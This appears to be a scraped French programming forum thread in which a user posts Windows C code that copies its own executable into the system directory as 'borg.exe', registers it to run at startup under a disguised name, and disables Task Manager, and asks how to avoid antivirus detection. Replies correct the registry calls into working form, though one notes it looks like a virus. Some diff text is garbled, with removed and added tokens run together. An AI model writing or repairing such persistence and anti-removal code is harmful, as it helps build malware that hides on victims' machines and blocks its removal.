Vous n’avez pas trouvé la réponse que vous recherchez ?
Posez votre questionchar path[MAX_PATH]; HMODULE GetModH = GetModuleHandle(NULL); char sys[MAX_PATH]; GetModuleFileName(GetModH, path, sizeof(path)); GetSystemDirectory(sys, sizeof(sys)); strcat(sys, "\\borg.exe"); CopyFile(path, sys, false); HKEY hKey, hKey2; unsigned char reg[2] = "0"; RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey ); RegSetValueEx(hKey, "MS-Windows-secretly", 0, REG_SZ,(const unsigned char*)sys, sizeof(sys)); RegCreateKey(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",&hKey2); RegSetValueEx(hKey2,"DisableTaskMgr",0,REG_DWORD,reg,sizeof(reg)); RegCloseKey(hKey),(hKey2);
//Ce qui est en rouge est à supprimer, en vert à ajouter.
unsigned charDWORD reg[2] = "0";
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey );
RegSetValueEx(hKey, "MS-Windows-secretly", 0, REG_SZ,(const unsigned charBYTE*)sys, sizeof(sys)strlen(sys)+1);
RegCloseKey(hKey);
RegCreateKey(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",&hKey2);
RegSetValueEx(hKey2,"DisableTaskMgr",0,REG_DWORD,(const unsigned charBYTE*)reg,sizeof(reg));
RegCloseKey(hKey2);
char path[MAX_PATH]; HMODULE GetModH = GetModuleHandle(NULL); char sys[MAX_PATH]; GetModuleFileName(GetModH, path, sizeof(path)); GetSystemDirectory(sys, sizeof(sys)); strcat(sys, "\\borg.exe"); CopyFile(path, sys, false); HKEY hKey, hKey2; unsigned char reg[2] = "0"; RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey ); RegSetValueEx(hKey, "MS-Windows-secretly", 0, REG_SZ,(const unsigned char*)sys, sizeof(sys)); RegCreateKey(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",&hKey2); RegSetValueEx(hKey2,"DisableTaskMgr",0,REG_DWORD,reg,sizeof(reg)); RegCloseKey(hKey),(hKey2);
pour évitER que mon antivirus s'exite ?Ton code ressemble étrangement à un virus ! C'est quoi le but ?
char path[max_path], sys[max_path]; DWORD reg = 0; //On copie le programme dans le répertoire système GetModuleFileName(GetModuleHandle(NULL), path, sizeof(path)); GetSystemDirectory(sys, sizeof(sys)); strcat(sys, "\\borg.exe"); CopyFile(path, sys, false); //On l'inscrit dans la BDR au démarrage RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey ); RegSetValueEx(hKey, "MS-Windows-secretly", 0, REG_SZ,(const BYTE*)sys, strlen(sys)+1); RegCloseKey(hKey); //On désactive le gestionnaire de tâches RegCreateKey(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",&hKey); RegSetValueEx(hKey,"DisableTaskMgr",0,REG_DWORD,(const BYTE*)reg,sizeof(reg)); RegCloseKey(hKey);---
//Cette fonction permet de copier le fichier dans /system32 ? getmodulefilename(getmodulehandle(null), path, sizeof(path)); getsystemdirectory(sys, sizeof(sys)); strcat(sys, "\\borg.exe");// pourquoi y as t'il borg.exe ? à quoi sa correspond ? copyfile(path, sys, false);